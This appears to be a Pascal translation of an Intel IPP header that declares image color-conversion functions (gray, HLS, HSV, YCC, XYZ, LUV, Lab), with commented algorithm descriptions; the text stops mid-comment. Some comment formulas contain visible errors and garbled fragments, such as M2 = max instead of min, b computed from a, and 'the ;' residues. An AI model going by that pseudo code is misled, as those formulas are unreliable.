function ippiColorToGray_64f_C3C1R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const coeffs : Ipp64f_3): IppStatus; _ippapi
function ippiColorToGray_8u_AC4C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const coeffs : Ipp32f_3): IppStatus; _ippapi
function ippiColorToGray_16u_AC4C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const coeffs : Ipp32f_3): IppStatus; _ippapi
function ippiColorToGray_16s_AC4C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const coeffs : Ipp32f_3): IppStatus; _ippapi
function ippiColorToGray_32f_AC4C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const coeffs : Ipp32f_3): IppStatus; _ippapi
function ippiColorToGray_64f_AC4C1R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const coeffs : Ipp64f_3): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiRGBToHLS, ippiHLSToRGB
ippiBGRToHLS, ippiHLSToBGR
Purpose: Converts an RGB(BGR) image to the HLS color model and vice versa
Parameters:
pSrc Pointer to the source image , points to point(0,0)
pDst Pointer to the destination image , points to point(0,0)
roiSize Size of the ROI in pixels. Since the function performs point
operations (without a border), the ROI may be the whole image.
srcStep Step in bytes through the source image to jump on the next line
dstStep Step in bytes through the destination image to jump on the next line
Returns:
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsStepErr srcStep or dstStep is less than or equal to zero
ippStsSizeErr roiSize has a field with zero or negative value
ippStsNoErr No errors
RGB and HLS values for the 32f data type should be in the range [0..1]
Reference:
David F.Rogers
Procedural Elements for Computer Graphics
1985.pp.(403-406)
H is the hue red at degrees : 0 ; which has range [0 .. 360 degrees],
L is lightness : the ;
S is saturation : the ;
The RGB to HLS conversion algorithm in pseudo code:
Lightness:
M1 = max(R,G,B); M2 = max(R,G,B); L = (M1+M2)/2
Saturation:
if M1 = M2 then // achromatic case
S = 0
H = 0
else // chromatics case
if L <= 0.5 then
S = (M1-M2) / (M1+M2)
else
S = (M1-M2) / (2-M1-M2)
Hue:
Cr = (M1-R) / (M1-M2)
Cg = (M1-G) / (M1-M2)
Cb = (M1-B) / (M1-M2)
if R = M2 then H = Cb - Cg
if G = M2 then H = 2 + Cr - Cb
if B = M2 then H = 4 + Cg - Cr
H = 60*H
if H < 0 then H = H + 360
The HSL to RGB conversion algorithm in pseudo code:
if L <= 0.5 then
M2 = L *(1 + S)
else
M2 = L + S - L * S
M1 = 2 * L - M2
if S = 0 then
R = G = B = L
else
h = H + 120
if h > 360 then
h = h - 360
if h < 60 then
R = ( M1 + ( M2 - M1 ) * h / 60)
else if h < 180 then
R = M2
else if h < 240 then
R = M1 + ( M2 - M1 ) * ( 240 - h ) / 60
else
R = M1
h = H
if h < 60 then
G = ( M1 + ( M2 - M1 ) * h / 60
else if h < 180 then
G = M2
else if h < 240 then
G = M1 + ( M2 - M1 ) * ( 240 - h ) / 60
else
G = M1
h = H - 120
if h < 0 then
h += 360
if h < 60 then
B = ( M1 + ( M2 - M1 ) * h / 60
else if h < 180 then
B = M2
else if h < 240 then
B = M1 + ( M2 - M1 ) * ( 240 - h ) / 60
else
B = M1
H,L,S,R,G,B are scaled to the range:
[0..1] for the depth : 32f ;
[0..IPP_MAX_8u] for the depth : 8u ;
[0..IPP_MAX_16u] for the depth : 16u ;
[IPP_MIN_16S..IPP_MAX_16s] for the 16s depth.
}
function ippiBGRToHLS_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToHLS_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHLSToRGB_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToHLS_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHLSToRGB_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToHLS_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHLSToRGB_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToHLS_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHLSToRGB_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToHLS_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHLSToRGB_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToHLS_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHLSToRGB_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToHLS_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHLSToRGB_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToHLS_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHLSToRGB_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToHLS_8u_AP4R( pSrc : Ipp8u_4Ptr ; srcStep : Int32 ; pDst : Ipp8u_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToHLS_8u_AP4C4R( pSrc : Ipp8u_4Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToHLS_8u_AC4P4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToHLS_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToHLS_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToHLS_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHLSToBGR_8u_AP4R( pSrc : Ipp8u_4Ptr ; srcStep : Int32 ; pDst : Ipp8u_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHLSToBGR_8u_AP4C4R( pSrc : Ipp8u_4Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHLSToBGR_8u_AC4P4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHLSToBGR_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHLSToBGR_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHLSToBGR_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiRGBToHSV, ippiHSVToRGB
Purpose: Converts an RGB image to the HSV color model and vice versa
Parameters:
pSrc Pointer to the source image , points to point(0,0)
pDst Pointer to the destination image , points to point(0,0)
roiSize Size of the ROI in pixels.
srcStep Step in bytes through the source image to jump on the next line
dstStep Step in bytes through the destination image to jump on the next line
Returns:
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsStepErr srcStep or dstStep is less than or equal to zero
ippStsSizeErr roiSize has a field with zero or negative value
ippStsNoErr No errors
Reference:
David F.Rogers
Procedural Elements for Computer Graphics
1985.pp.(401-403)
H is the hue red at degrees : 0 ; which has range [0 .. 360 degrees],
S is saturation : the ;
V is the value
The RGB to HSV conversion algorithm in pseudo code:
Value:
V = max(R,G,B);
Saturation:
temp = min(R,G,B);
if V = 0 then // achromatic case
S = 0
H = 0
else // chromatics case
S = (V - temp)/V
Hue:
Cr = (V - R) / (V - temp)
Cg = (V - G) / (V - temp)
Cb = (V - B) / (V - temp)
if R = V then H = Cb - Cg
if G = V then H = 2 + Cr - Cb
if B = V then H = 4 + Cg - Cr
H = 60*H
if H < 0 then H = H + 360
The HSV to RGB conversion algorithm in pseudo code:
if S = 0 then
R = G = B = V
else
if H = 360 then
H = 0
else
H = H/60
I = floor(H)
F = H - I;
M = V * ( 1 - S);
N = V * ( 1 - S * F);
K = V * ( 1 - S * (1 - F));
if(I == 0)then( R = V;G = K;B = M;)
if(I == 1)then( R = N;G = V;B = M;)
if(I == 2)then( R = M;G = V;B = K;)
if(I == 3)then( R = M;G = N;B = V;)
if(I == 4)then( R = K;G = M;B = V;)
if(I == 5)then( R = V;G = M;B = N;)
in the range [0..IPP_MAX_8u ] for the depth : 8u ;
in the range [0..IPP_MAX_16u] for the depth : 16u ;
}
function ippiRGBToHSV_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHSVToRGB_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToHSV_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHSVToRGB_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToHSV_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHSVToRGB_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToHSV_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiHSVToRGB_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiRGBToYCC, ippiYCCToRGB
Purpose: Converts an RGB image to the YCC color model and vice versa.
Parameters:
pSrc Pointer to the source image ROI
srcStep Step through the source image (bytes)
pDst Pointer to the destination image ROI
dstStep Step through the destination image (bytes)
dstRoiSize size of the ROI
Returns:
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsStepErr srcStep or dstStep is less than or equal to zero
ippStsSizeErr roiSize has a field with zero or negative value
ippStsNoErr No errors
Reference:
Jack Keith
Video Demystified: a Handbook for the Engineer : Digital ; 2nd ed.
1996.pp.(46-47)
The basic equations to convert gamma-corrected R'G'B' image to YCC are:
RGB data is transformed into PhotoYCC data:
Y = 0.299*R' + 0.587*G' + 0.114*B'
C1 = -0.299*R' - 0.587*G' + 0.886*B' = B'- Y
C2 = 0.701*R' - 0.587*G' - 0.114*B' = R'- Y
Y,C1,C2 are quantized and limited to the range [0..1]
Y = 1. / 1.402 * Y
C1 = 111.4 / 255. * C1 + 156. / 255.
C2 = 135.64 /255. * C2 + 137. / 255.
Conversion of PhotoYCC data to RGB data for CRT computer display:
normal luminance and chrominance data are recovered
Y = 1.3584 * Y
C1 = 2.2179 * (C1 - 156./255.)
C2 = 1.8215 * (C2 - 137./255.)
PhotoYCC data is transformed into RGB data
R' = L + C2
G' = L - 0.194*C1 - 0.509*C2
B' = L + C1
Where: Y - luminance; C1 : and ; C2 - two chrominance values.
Equations are given above in assumption that Y : the ; C1, C2, R, G, and B
values are in the range [0..1].
Y, C1, C2, R, G, B - are scaled to the range:
[0..1] for the depth : 32f ;
[0..IPP_MAX_8u] for the depth : 8u ;
[0..IPP_MAX_16u] for the depth : 16u ;
[IPP_MIN_16s..IPP_MAX_16s] for the 16s depth.
}
function ippiRGBToYCC_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCCToRGB_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYCC_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCCToRGB_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYCC_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCCToRGB_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYCC_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCCToRGB_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYCC_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCCToRGB_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYCC_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCCToRGB_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYCC_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCCToRGB_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYCC_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCCToRGB_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiRGBToXYZ, ippiXYZToRGB
Purpose: Converts an RGB image to the XYZ color model and vice versa.
Parameters:
pSrc Pointer to the source image ROI
srcStep Step through the source image (bytes)
pDst Pointer to the destination image ROI
dstStep Step through the destination image (bytes)
dstRoiSize size of the ROI
Returns:
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsStepErr srcStep or dstStep is less than or equal to zero
ippStsSizeErr roiSize has a field with zero or negative value
ippStsNoErr No errors
Reference:
David F. Rogers
Procedural Elements for Computer Graphics.
1985.
The basic equations to convert between Rec. 709 RGB (with its D65 white point) and CIE XYZ are:
X = 0.412453 * R + 0.35758 * G + 0.180423 * B
Y = 0.212671 * R + 0.71516 * G + 0.072169 * B
Z = 0.019334 * R + 0.119193* G + 0.950227 * B
R = 3.240479 * X - 1.53715 * Y - 0.498535 * Z
G =-0.969256 * X + 1.875991 * Y + 0.041556 * Z
B = 0.055648 * X - 0.204043 * Y + 1.057311 * Z
Equations are given above in assumption that the X,Y,Z,R,G, and B
values are in the range [0..1].
Y, C1, C2, R, G, B - are scaled to the range:
[0..1] for the 32f depth,
[0..IPP_MAX_8u] for the 8u depth,
[0..IPP_MAX_16u] for the 16u depth,
[IPP_MIN_16s..IPP_MAX_16s] for the 16s depth.
}
function ippiRGBToXYZ_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXYZToRGB_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToXYZ_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXYZToRGB_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToXYZ_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXYZToRGB_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToXYZ_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXYZToRGB_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToXYZ_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXYZToRGB_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToXYZ_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXYZToRGB_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToXYZ_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXYZToRGB_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToXYZ_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXYZToRGB_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiRGBToLUV, ippiLUVToRGB
Purpose: Converts an RGB image to the LUV color model and vice versa.
Parameters:
pSrc Pointer to the source image ROI
srcStep Step through the source image (bytes)
pDst Pointer to the destination image ROI
dstStep Step through the destination image (bytes)
dstRoiSize size of the ROI
Returns:
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsStepErr srcStep or dstStep is less than or equal to zero
ippStsSizeErr roiSize has a field with zero or negative value
ippStsNoErr No errors
Reference:
Computer Graphics: Principles and Practices. James D. Foley... [et al]. 2nd edition.
Addison-Wesley, 1990.p.(584)
At first an RGB image is converted to the XYZ format image (see the functions
ippiRGBToXYZ), then to the CIELUV with the white point D65 and CIE chromaticity
coordinates of white point (xn,yn) = (0.312713, 0.329016), and Yn = 1.0 - the luminance of white point.
L = 116. * (Y/Yn)**1/3. - 16.
U = 13. * L * ( u - un )
V = 13. * L * ( v - vn )
These are quantized and limited to the 8-bit range of 0 to 255.
L = L * 255. / 100.
U = ( U + 134. ) * 255. / 354.
V = ( V + 140. ) * 255. / 256.
where:
u' = 4.*X / (X + 15.*Y + 3.*Z)
v' = 9.*Y / (X + 15.*Y + 3.*Z)
un = 4.*xn / ( -2.*xn + 12.*yn + 3. )
vn = 9.*yn / ( -2.*xn + 12.*yn + 3. ).
xn, yn is the CIE chromaticity coordinates of white point.
Yn = 255. is the luminance of white point.
The L component values are in the range [0..100], the U component values are
in the range [-134..220], and the V component values are in the range [-140..122].
The CIELUV to RGB conversion is performed as following. At first
a LUV image is converted to the XYZ image
L = L * 100./ 255.
U = ( U * 354./ 255.) - 134.
V = ( V * 256./ 255.) - 140.
u = U / ( 13.* L ) + un
v = V / ( 13.* L ) + vn
Y = (( L + 16. ) / 116. )**3.
Y *= Yn
X = -9.* Y * u / (( u - 4.)* v - u * v )
Z = ( 9.*Y - 15*v*Y - v*X ) / 3. * v
where:
un = 4.*xn / ( -2.*xn + 12.*yn + 3. )
vn = 9.*yn / ( -2.*xn + 12.*yn + 3. ).
xn, yn is the CIE chromaticity coordinates of white point.
Yn = 255. is the luminance of white point.
Then the XYZ image is converted to the RGB image (see the functions
ippiXYZToRGB).
}
function ippiRGBToLUV_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToLUV_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLUVToRGB_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLUVToBGR_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToLUV_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLUVToRGB_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToLUV_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLUVToRGB_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToLUV_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLUVToRGB_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToLUV_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLUVToRGB_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToLUV_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLUVToRGB_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToLUV_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToLUV_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLUVToRGB_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLUVToBGR_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToLUV_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLUVToRGB_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiBGRToLab_8u_C3R and ippiLabToBGR_8u_C3R
ippiBGRToLab_8u16u_C3R and ippiLabToBGR_16u8u_C3R
Purpose: Converts an RGB image to CIE Lab color model and vice-versa
Parameters:
pSrc Pointer to the source image ROI
srcStep Step through the source image (bytes)
pDst Pointer to the destination image ROI
dstStep Step through the destination image (bytes)
roiSize Size of the ROI
Returns:
ippStsNullPtrErr if src == NULL or dst == NULL
ippStsSizeErr if imgSize.width <= 0 || imgSize.height <= 0
ippStsNoErr otherwise
Reference:
Computer graphics: principles and practices. James D. Foley... [et al.]. 2nd ed.
Addison-Wesley, c1990.p.(584)
At first an RGB image is converted to the XYZ color model (see the function
ippRGBToXYZ_8u_C3R), then to the CIELab with the white point D65 and CIE chromaticity
coordinates of white point (xn,yn) = (0.312713, 0.329016)
L = 116. *((Y/Yn)^(1/3)) - 16 for Y/Yn > 0.008856
L = 903.3*(Y/Yn) for Y/Yn <= 0.008856
a = 500. * (f(X/Xn) - f(Y/Yn))
b = 200. * (f(Y/Yn) - f(Z/Zn))
where f(t)=t^(1/3) for t > 0.008856
f(t)=7.787*t+16/116 for t <= 0.008856
These values are quantized and scaled to the 8-bit range of 0 to 255 for ippiBGRToLab_8u_C3R.
L = L * 255. / 100.
a = (a + 128.)
b = (a + 128.)
and they are quantized and scaled to the 16-bit range of 0 to 65535 for ippiBGRToLab_8u16u_C3R
L = L * 65535. / 100.
a = (a + 128.)* 255
b = (a + 128.)* 255
where:
normalizing multipliers
Yn = 1.0 * 255
Xn = 0.950455 * 255
